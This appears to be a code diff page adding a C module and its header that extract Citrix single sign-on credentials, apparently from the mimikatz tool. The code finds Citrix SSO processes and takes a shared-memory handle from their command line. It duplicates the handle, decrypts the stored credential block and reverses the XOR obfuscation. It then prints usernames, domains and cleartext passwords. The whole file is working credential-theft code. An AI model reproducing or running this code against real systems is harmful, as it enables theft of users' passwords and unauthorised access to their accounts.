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[legacy] Backport djoin parser & citrix SSO password extractor
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| Original file line number | Diff line number | Diff line change |
|---|---|---|
| @@ -0,0 +1,168 @@ | ||
| /* Benjamin DELPY `gentilkiwi` | ||
| https://blog.gentilkiwi.com | ||
| benjamin@gentilkiwi.com | ||
| Licence : https://creativecommons.org/licenses/by/4.0/ | ||
| */ | ||
| #include "kuhl_m_misc_citrix.h" | ||
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| void kuhl_m_misc_citrix_logonpasswords(int argc, wchar_t* argv[]) | ||
| { | ||
| UNREFERENCED_PARAMETER(argc); | ||
| UNREFERENCED_PARAMETER(argv); | ||
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| kull_m_process_getProcessInformation(Citrix_Each_SSO_Program, NULL); | ||
| } | ||
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| DECLARE_CONST_UNICODE_STRING(_U_ssonsvr, L"ssonsvr.exe"); | ||
| DECLARE_CONST_UNICODE_STRING(_U_wfcrun32, L"wfcrun32.exe"); | ||
| DECLARE_CONST_UNICODE_STRING(_U_AuthManSvr, L"AuthManSvr.exe"); | ||
| const PCUNICODE_STRING _U_CITRIX_SSO_PROGRAMS[] = { &_U_ssonsvr , &_U_wfcrun32 , &_U_AuthManSvr }; | ||
| BOOL CALLBACK Citrix_Each_SSO_Program(PSYSTEM_PROCESS_INFORMATION pSystemProcessInformation, PVOID pvArg) | ||
| { | ||
| DWORD i, ProcessId; | ||
| HANDLE hProcess; | ||
| //PKULL_M_MEMORY_HANDLE hMemory; | ||
| //KULL_M_MEMORY_ADDRESS aMemory = { NULL, &hMemory }; | ||
| RTL_USER_PROCESS_PARAMETERS UserProcessParameters; | ||
| KULL_M_MEMORY_ADDRESS aRemote = {NULL, NULL}, aBuffer = {&UserProcessParameters, &KULL_M_MEMORY_GLOBAL_OWN_HANDLE}; | ||
| PEB Peb; | ||
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| UNREFERENCED_PARAMETER(pvArg); | ||
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| for (i = 0; i < ARRAYSIZE(_U_CITRIX_SSO_PROGRAMS); i++) | ||
| { | ||
| if (RtlEqualUnicodeString(_U_CITRIX_SSO_PROGRAMS[i], &pSystemProcessInformation->ImageName, TRUE)) | ||
| { | ||
| ProcessId = PtrToUlong(pSystemProcessInformation->UniqueProcessId); | ||
| kprintf(L"\n* %wZ -- pid: %u\n", &pSystemProcessInformation->ImageName, ProcessId); | ||
| hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_OPERATION | PROCESS_VM_READ | PROCESS_DUP_HANDLE, FALSE, ProcessId); | ||
| if(hProcess) | ||
| { | ||
| if (kull_m_memory_open(KULL_M_MEMORY_TYPE_PROCESS, hProcess, &aRemote.hMemory)) | ||
| { | ||
| if (kull_m_process_peb(aRemote.hMemory, &Peb, FALSE)) | ||
| { | ||
| aRemote.address = Peb.ProcessParameters; | ||
| if (kull_m_memory_copy(&aBuffer, &aRemote, sizeof(UserProcessParameters))) | ||
| { | ||
| aRemote.address = UserProcessParameters.CommandLine.Buffer; | ||
| UserProcessParameters.CommandLine.Buffer = LocalAlloc(LPTR, UserProcessParameters.CommandLine.MaximumLength); | ||
| aBuffer.address = UserProcessParameters.CommandLine.Buffer; | ||
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| if(UserProcessParameters.CommandLine.Buffer) | ||
| { | ||
| if (kull_m_memory_copy(&aBuffer, &aRemote, UserProcessParameters.CommandLine.MaximumLength)) | ||
| { | ||
| Citrix_SSO_Program_args(aRemote.hMemory->pHandleProcess->hProcess, &UserProcessParameters.CommandLine); | ||
| } | ||
| LocalFree(UserProcessParameters.CommandLine.Buffer); | ||
| } | ||
| } | ||
| } | ||
| kull_m_memory_close(aRemote.hMemory); | ||
| } | ||
| CloseHandle(hProcess); | ||
| } | ||
| else PRINT_ERROR_AUTO(L"OpenProcess"); | ||
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| break; | ||
| } | ||
| } | ||
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| return TRUE; | ||
| } | ||
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| void Citrix_SSO_Program_args(HANDLE hRemoteProcess, PCUNICODE_STRING puCommandLine) | ||
| { | ||
| int i, argc; | ||
| LPWSTR* argv; | ||
| HANDLE hRemoteFileMapping = NULL; | ||
|
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| argv = CommandLineToArgvW(puCommandLine->Buffer, &argc); | ||
| if (argv) | ||
| { | ||
| if (argc > 0) | ||
| { | ||
| for (i = 0; i < argc; i++) | ||
| { | ||
| if (_wcsnicmp(argv[i], L"/HTC:", 5) == 0) | ||
| { | ||
| hRemoteFileMapping = (HANDLE)(ULONG_PTR)wcstoul(argv[i] + 5, NULL, 10); | ||
| Citrix_SSO_Program_FileMapping(hRemoteProcess, hRemoteFileMapping); | ||
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| break; | ||
| } | ||
| } | ||
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| if (!hRemoteFileMapping) | ||
| { | ||
| kprintf(L" No shared memory (no SSO enabled?)\n"); | ||
| } | ||
| } | ||
| else PRINT_ERROR(L"No command/module?"); | ||
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| LocalFree(argv); | ||
| } | ||
| else PRINT_ERROR_AUTO(L"CommandLineToArgvW"); | ||
| } | ||
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| void Citrix_SSO_Program_FileMapping(HANDLE hRemoteProcess, HANDLE hRemoteFileMapping) | ||
| { | ||
| HANDLE hFileMapping; | ||
| PCITRIX_PACKED_CREDENTIALS pCitrixPackedCredentials; | ||
| PCITRIX_CREDENTIALS pCitrixCredentials; | ||
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| if (DuplicateHandle(hRemoteProcess, hRemoteFileMapping, GetCurrentProcess(), &hFileMapping, FILE_MAP_READ, FALSE, 0)) | ||
| { | ||
| pCitrixPackedCredentials = MapViewOfFile(hFileMapping, FILE_MAP_READ, 0, 0, sizeof(CITRIX_PACKED_CREDENTIALS)); | ||
| if (pCitrixPackedCredentials) | ||
| { | ||
| //kprintf(L"cbStruct: 0x%08x - ref: 0x%08x\ncbData : 0x%08x - ref: 0x%08x\ndwFlags : 0x%08x\n", pCitrixPackedCredentials->cbStruct, sizeof(CITRIX_PACKED_CREDENTIALS), pCitrixPackedCredentials->cbData, sizeof(CITRIX_CREDENTIALS), pCitrixPackedCredentials->dwFlags); | ||
| pCitrixCredentials = LocalAlloc(LPTR, sizeof(pCitrixPackedCredentials->Data)); | ||
| if (pCitrixCredentials) | ||
| { | ||
| RtlCopyMemory(pCitrixCredentials, pCitrixPackedCredentials->Data, sizeof(pCitrixPackedCredentials->Data)); | ||
| if (CryptUnprotectMemory(pCitrixCredentials, sizeof(pCitrixPackedCredentials->Data), CRYPTPROTECTMEMORY_CROSS_PROCESS)) | ||
| { | ||
| CitrixPasswordDesobfuscate((PBYTE)pCitrixCredentials->password, pCitrixCredentials->cbPassword); | ||
| kprintf(L"| Username : %s\n| Domain : %s\n| Password : %.*s\n| flags/type: 0x%08x\n", pCitrixCredentials->username, pCitrixCredentials->domain, pCitrixCredentials->cbPassword, pCitrixCredentials->password, pCitrixCredentials->dwFlags); | ||
| } | ||
| else PRINT_ERROR_AUTO(L"CryptUnprotectMemory"); | ||
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| LocalFree(pCitrixCredentials); | ||
| } | ||
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| UnmapViewOfFile(pCitrixPackedCredentials); | ||
| } | ||
| else PRINT_ERROR_AUTO(L"MapViewOfFile"); | ||
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| CloseHandle(hFileMapping); | ||
| } | ||
| else PRINT_ERROR_AUTO(L"DuplicateHandle"); | ||
| } | ||
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| void CitrixPasswordObfuscate(PBYTE pbData, DWORD cbData) | ||
| { | ||
| DWORD i; | ||
| BYTE prec; | ||
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| for (i = 0, prec = 0x00; i < cbData; i++) | ||
| { | ||
| pbData[i] ^= prec ^ 'C'; | ||
| prec = pbData[i]; | ||
| } | ||
| } | ||
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| void CitrixPasswordDesobfuscate(PBYTE pbData, DWORD cbData) | ||
| { | ||
| DWORD i; | ||
| BYTE prec, sprec; | ||
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| for (i = 0, prec = 0x00; i < cbData; i++) | ||
| { | ||
| sprec = pbData[i]; | ||
| pbData[i] ^= prec ^ 'C'; | ||
| prec = sprec; | ||
| } | ||
| } |
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| Original file line number | Diff line number | Diff line change |
|---|---|---|
| @@ -0,0 +1,37 @@ | ||
| /* Benjamin DELPY `gentilkiwi` | ||
| https://blog.gentilkiwi.com | ||
| benjamin@gentilkiwi.com | ||
| Licence : https://creativecommons.org/licenses/by/4.0/ | ||
| */ | ||
| #pragma once | ||
| #include "../kuhl_m_misc.h" | ||
| #include "../../../modules/kull_m_memory.h" | ||
| #include "../../../modules/kull_m_process.h" | ||
|
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| extern const KUHL_M kuhl_m_misc_citrix; | ||
|
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| #pragma pack(push, 4) | ||
| typedef struct _CITRIX_CREDENTIALS { | ||
| wchar_t username[0x100]; | ||
| wchar_t domain[0x100]; | ||
| DWORD cbPassword; | ||
| wchar_t password[0x100]; | ||
| DWORD dwFlags; // type ? | ||
| } CITRIX_CREDENTIALS, * PCITRIX_CREDENTIALS; | ||
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| typedef struct _CITRIX_PACKED_CREDENTIALS { | ||
| DWORD cbStruct; | ||
| DWORD cbData; | ||
| DWORD dwFlags; | ||
| BYTE Data[SIZE_ALIGN(sizeof(CITRIX_CREDENTIALS), CRYPTPROTECTMEMORY_BLOCK_SIZE)]; | ||
| } CITRIX_PACKED_CREDENTIALS, * PCITRIX_PACKED_CREDENTIALS; | ||
| #pragma pack(pop) | ||
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| void kuhl_m_misc_citrix_logonpasswords(int argc, wchar_t* argv[]); | ||
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| BOOL CALLBACK Citrix_Each_SSO_Program(PSYSTEM_PROCESS_INFORMATION pSystemProcessInformation, PVOID pvArg); | ||
| void Citrix_SSO_Program_args(HANDLE hRemoteProcess, PCUNICODE_STRING puCommandLine); | ||
| void Citrix_SSO_Program_FileMapping(HANDLE hRemoteProcess, HANDLE hRemoteFileMapping); | ||
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| void CitrixPasswordObfuscate(PBYTE pbData, DWORD cbData); | ||
| void CitrixPasswordDesobfuscate(PBYTE pbData, DWORD cbData); |
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